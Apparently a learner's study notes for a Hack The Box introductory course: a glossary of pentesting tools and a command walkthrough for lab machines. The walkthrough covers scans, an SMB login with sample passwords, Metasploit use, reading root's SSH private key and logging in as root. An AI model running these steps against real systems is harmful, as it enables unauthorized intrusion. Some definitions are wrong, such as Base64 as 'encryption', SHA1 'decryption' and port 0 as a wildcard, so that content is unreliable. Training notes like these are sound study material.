**Getting started Glossary**

1. **Setup:**

* **Hypervisor: A Software that allows to create and run virtual machines**
* **Ports: Method of Connection to a service (Range: 1 - 65535)**
* **Port 0: Is Considered a Wild Card, will connect you to the next open port**
* **Shells: A terminal for interacting with the software (Zsh, Tcsh, Ksh, Fish Shell)**
* **Bash: Bourne Again Shell (Linux Terminal)**
* **Shell Types: Reverse Shell, Bind Shell, Web Shell**

1. **Basic Tools:**

* **SSH: Secure Shell on Port 22 (Password Authentication or Public-Key Authentication)**
* **Netcat: Networking utility for reading from and writing to network connections using TCP or UDP.**
* **Tmux: Terminal Multiplexer**
* **Vim: Screen-based text editor program**

1. **Service Scanning:**

* **Nmap: Network scanner used to discover hosts and services on a computer network by sending packets & analyzing the responses**
* **FTP: File Transfere Protocol**
* **SMB: Server Message Block (Allows Users to share folders & make them accessible)**
* **SMB Client: Operations include Getting/Putting/Retrieving files Between the local host and the server**
* **SNMP: Simple Network Management Protocol (Provide Info & Statistics**

**about the Router/Device)**

1. **Web Enumeration:**

* **Gobuster/FFUF: (File, Directory, DNS)**
* **WhatWeb: Extract the version of web servers, supporting frameworks, and applications**
* **SSL/TLS: Secure Sockets Layer/Transpoort Layer Security**
* **SSL/TLS Certificates: Allow web browsers to identify and establish encrypted network connections**
* **Robots.txt: Instruct search engine web crawlers which resources can be accessed for indexing (location of private files and admin pages)**

1. **Public Exploits:**

* **SearchExploit: Search for public vulnerabilities/exploits for any application (ExploitDB, Rapid7DB, Vulnerablility Lab)**
* **Metasploit Framework: Reconnaissance, Verification , Meterpreter, Post-**

**exploitation, and Pivoting tools**

1. **Privilege Escalation:**

* **Kernel Exploits: Affect a certain version of a kernel or operating system (Usually Executed Locally on the Machine to gain privilege)**
* **Vulnerable Software: Defect in software that could allow an attacker to gain control of a system (Examine Installed Package: dpkg -l)**
* **User Privileges: 1) Sudo -l (sudo -u user2 /bin/bash)**

**2) SUID 3) Windows Token Privilege**

* **Scheduled Tasks: Affect running scripts that executes tasks by**

**1) Adding new scheduled tasks (Cronjobs, Crontabs, cron.d)**

**2) Trick them to execute a malicious software**

* **Exposed Credentials: Configuration/Log Files Or Bash History**
* **SSH Keys: 1) SSH Login with (-i id\_rsa)**

**2) SSH Key Generation with (ssh keygen -f key) then adding it to the (home/user/.ssh/authorized\_keys) file**

1. **Transferring Files:**

* **Wget: World Wide Web Get (HTTP, HTTPs, FTP)**
* **cURL: Copy URL**
* **SCP: Secure File Copy**
* **Base64: Encrypting the Data in the File then Decrypting it bach**
* **MD5 Checksum: Ensures that the file has been copied correctly**

1. **Navigating HTB:**

* **Tracks: Created by Users, Companies, and Universities**
* **Machines: Hackable Simulated Machines**
* **Challenges: Various CTF Challenges in different Categories**
* **Fortress: Vulnerable Labs created by External Companies**
* **Endgame: Virtual labs that contain several machines connected to 1 network**
* **Pro Labs: Simulate a Real-World Enterprise Infrastructure**
* **Battlegrounds: Real-Time Game of Strategy and Hacking**

**Written Commands:**

1. **Basic Tools:**

* **SSH-2.0-OpenSSH\_8.2p1 Ubuntu-4ubuntu0.1 (Grab the Banner)**

1. **Service Scanning:**

* **Nmap -sV -p 8080 <IP> (Service Scan on Port 8080)**
* **Nmap -sV -p- <IP> (Service Scan on all Ports)**
* **smbclient -N -L \\\\<IP> (Show all the users connected on that SMB IP)**
* **smbclient -U bob \\\\<IP>\\users (Connect to a Specific User)**
* **Password: Welcome1**

1. **Web Enumeration:**

* **gobuster dir -u <http://<IP> -w /usr/share/wordlists/common.txt**
* **Visit <IP>/robots.txt**
* **Go to the Admin Panel and Inspect the Page**
* **Username: admin Password: password123**

1. **Public Exploits:**

* **msfconsole**
* **search simple backup**
* **use 0**
* **set RHOST=<IP>**
* **set RPORT=<PORT>**
* **set FILEPATH=/flag.txt**

1. **Privilege Escalation:**

* **sudo -u user2 /bin/bash (Connect to User2 through /bin/bash)**
* **cat /root/.ssh/id\_rsa (Read the RSA Authentication Key)**
* **exit (Ctrl+d)**
* **vim id\_rsa 🡪 Paste the content on id\_rsa**
* **ssh root@<IP> -p <PORT> -i id\_rsa**

1. **Knowledge Check:**

* **Nmap -sV -sC -v -p 22,80 <IP>**
* **gobuster dir -u <http://<IP> -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small**
* **go to <IP>/data/users/admin.xml 🡪 username: admin**
* **SHA1 Decrypt the Password to get password: admin**
* **Msfconsole**
* **Search getsimple**
* **Use 1**
* **Set rhost, rport, lhost …**
* **Run**
* **Cat /user.txt**
* **Shell**
* **Sudo -l**
* **Cat root.txt**